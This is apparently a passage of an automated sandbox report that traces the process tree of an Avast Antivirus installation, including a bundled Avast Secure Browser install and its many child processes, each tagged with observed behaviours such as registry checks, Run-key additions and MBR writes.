C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe" -checkChrome -elevated6⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe" -checkChromeReactivation -elevated -bc=AVFC6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\Documents\aswOfferTool.exe"C:\Users\Public\Documents\aswOfferTool.exe" -checkChromeReactivation -bc=AVFC7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe" -checkChromeReactivation -elevated -bc=AVFC6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\Documents\aswOfferTool.exe"C:\Users\Public\Documents\aswOfferTool.exe" -checkChromeReactivation -bc=AVFC7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe" -checkChrome -elevated6⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\sbr.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\sbr.exe" 808 "Avast Antivirus setup" "Avast Antivirus is being installed. Do not shut down your computer!"6⤵
- Executes dropped EXE
-
-
C:\Program Files\Avast Software\Avast\SetupInf.exe"C:\Program Files\Avast Software\Avast\SetupInf.exe" /uninstall /catalog:aswRdr2.cat6⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
-
-
C:\Program Files\Avast Software\Avast\SetupInf.exe"C:\Program Files\Avast Software\Avast\SetupInf.exe" /uninstall /catalog:aswHwid.cat6⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
-
-
C:\Program Files\Avast Software\Avast\SetupInf.exe"C:\Program Files\Avast Software\Avast\SetupInf.exe" /uninstall /catalog:aswVmm.cat6⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
-
-
C:\Program Files\Avast Software\Avast\SetupInf.exe"C:\Program Files\Avast Software\Avast\SetupInf.exe" /uninstall /catalog:aswRvrt.cat6⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
-
-
C:\Program Files\Avast Software\Avast\SetupInf.exe"C:\Program Files\Avast Software\Avast\SetupInf.exe" /elaminst C:\Windows\system32\drivers\aswElam.sys6⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks processor information in registry
-
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\aswOfferTool.exe" /install_secure_browser /brandcode:102 /cmd:"/make_default /language=en-US" /config_def:C:\Windows\Temp\asw.f3744995c6c1b3ba\config.def6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\securebrowser_setup.exe"C:\Windows\Temp\asw.f3744995c6c1b3ba\New_180717ec\securebrowser_setup.exe" /s /run_source=av_install /make_default /language=en-US7⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\nsa7EB4.tmp\AvastBrowserUpdateSetup.exeAvastBrowserUpdateSetup.exe /silent /install "bundlename=Avast Secure Browser&appguid={A8504530-742B-42BC-895D-2BAD6406F698}&appname=Avast Secure Browser&needsadmin=true&lang=en-US&brand=3602&installargs=--no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data%3Dmsedge --import-cookies"8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\GUM8B64.tmp\AvastBrowserUpdate.exe"C:\Program Files (x86)\GUM8B64.tmp\AvastBrowserUpdate.exe" /silent /install "bundlename=Avast Secure Browser&appguid={A8504530-742B-42BC-895D-2BAD6406F698}&appname=Avast Secure Browser&needsadmin=true&lang=en-US&brand=3602&installargs=--no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data%3Dmsedge --import-cookies"9⤵
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe" /regsvc10⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe" /regserver10⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserUpdateComRegisterShell64.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserUpdateComRegisterShell64.exe"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserUpdateComRegisterShell64.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserUpdateComRegisterShell64.exe"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserUpdateComRegisterShell64.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\1.8.1697.6\AvastBrowserUpdateComRegisterShell64.exe"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgb21haGFpZD0iezZEMzdDNzYwLThGRUQtNDhBNS1BNEE0LUNFQzA5NUIyRDhERH0iIHVwZGF0ZXJ2ZXJzaW9uPSIxLjguMTY5Ny42IiBzaGVsbF92ZXJzaW9uPSIxLjguMTY5Ny42IiBpc21hY2hpbmU9IjEiIGlzX29tYWhhNjRiaXQ9IjAiIGlzX29zNjRiaXQ9IjEiIHNlc3Npb25pZD0iezY1RDBGRjgxLURBOEYtNDRERS1BM0NFLTc0MTcwNDI1RDU5NH0iIGNlcnRfZXhwX2RhdGU9IjIwMjUwOTE3IiB1c2VyaWQ9InszRjI2MTkxRS0yMjc4LTRDQjMtQjYyRS1DOTg5MjQ2MjRCNTV9IiB1c2VyaWRfZGF0ZT0iMjAyNDA3MjYiIG1hY2hpbmVpZD0iezAwMDA5QkIwLTk4NjYtMzU5Mi1BM0E2LTA4NkJDQzI5MDlFN30iIG1hY2hpbmVpZF9kYXRlPSIyMDI0MDcyNiIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiB0ZXN0c291cmNlPSJhdXRvIiByZXF1ZXN0aWQ9Ins1NTg1MjZDQi1GRUIxLTQ4QkQtQjgyRS05RjFBNDBGRkFBRkZ9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IHBoeXNtZW1vcnk9IjgiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMTkwNDEuMTI4OCIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0iezZEMzdDNzYwLThGRUQtNDhBNS1BNEE0LUNFQzA5NUIyRDhERH0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjEuOC4xNjk3LjYiIGxhbmc9ImVuLVVTIiBicmFuZD0iMzYwMiIgY2xpZW50PSIiPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIGluc3RhbGxfdGltZV9tcz0iMTA5NCIvPjwvYXBwPjwvcmVxdWVzdD410⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe"C:\Program Files (x86)\AVAST Software\Browser\Update\AvastBrowserUpdate.exe" /handoff "bundlename=Avast Secure Browser&appguid={A8504530-742B-42BC-895D-2BAD6406F698}&appname=Avast Secure Browser&needsadmin=true&lang=en-US&brand=3602&installargs=--no-create-user-shortcuts --make-chrome-default --force-default-win10 --auto-import-data%3Dmsedge --import-cookies" /installsource otherinstallcmd /sessionid "{65D0FF81-DA8F-44DE-A3CE-74170425D594}" /silent10⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exeAvastBrowser.exe --heartbeat --install --create-profile8⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Writes to the Master Boot Record (MBR)
- Checks system information in the registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data\Crashpad" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffc1dea0c80,0x7ffc1dea0c8c,0x7ffc1dea0c989⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2172,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:29⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --field-trial-handle=2044,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:39⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --field-trial-handle=2432,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:89⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3496,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:19⤵
- Checks computer location settings
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3476,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:29⤵
- Checks computer location settings
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3568,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=3796 /prefetch:29⤵
- Checks computer location settings
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=3620,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=3940 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=4640,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4700,i,2326821966530810640,17217061291255783513,262144 --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:89⤵
- Executes dropped EXE
-
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exeAvastBrowser.exe --silent-launch8⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Checks for any installed AV software in registry
- Writes to the Master Boot Record (MBR)
- Checks system information in the registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\AVAST Software\Browser\User Data" --url=fake_url --annotation=plat=Win64 --annotation=prod=Avast --annotation=ver=126.0.25558.127 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc1dea0c80,0x7ffc1dea0c8c,0x7ffc1dea0c989⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2028,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:29⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --field-trial-handle=2296,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:39⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --field-trial-handle=2404,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3644,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3752,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3580,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3628,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3664,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4052 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3904,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3996 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3932,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4100,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4044,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:89⤵
- Executes dropped EXE
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3576,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3820,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=4840,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:19⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=renderer --extension-process --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4848,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4928 /prefetch:29⤵
- Checks computer location settings
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4008,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3972,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3928 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=5544,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=5704,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4560,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4864,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=5356,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4396,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=3660,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=5360,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4192,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=5936,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=4180,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:89⤵
-
-
C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe"C:\Program Files\AVAST Software\Browser\Application\AvastBrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --field-trial-handle=6192,i,16091232799101178018,11958582204133905001,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:89⤵
-
-
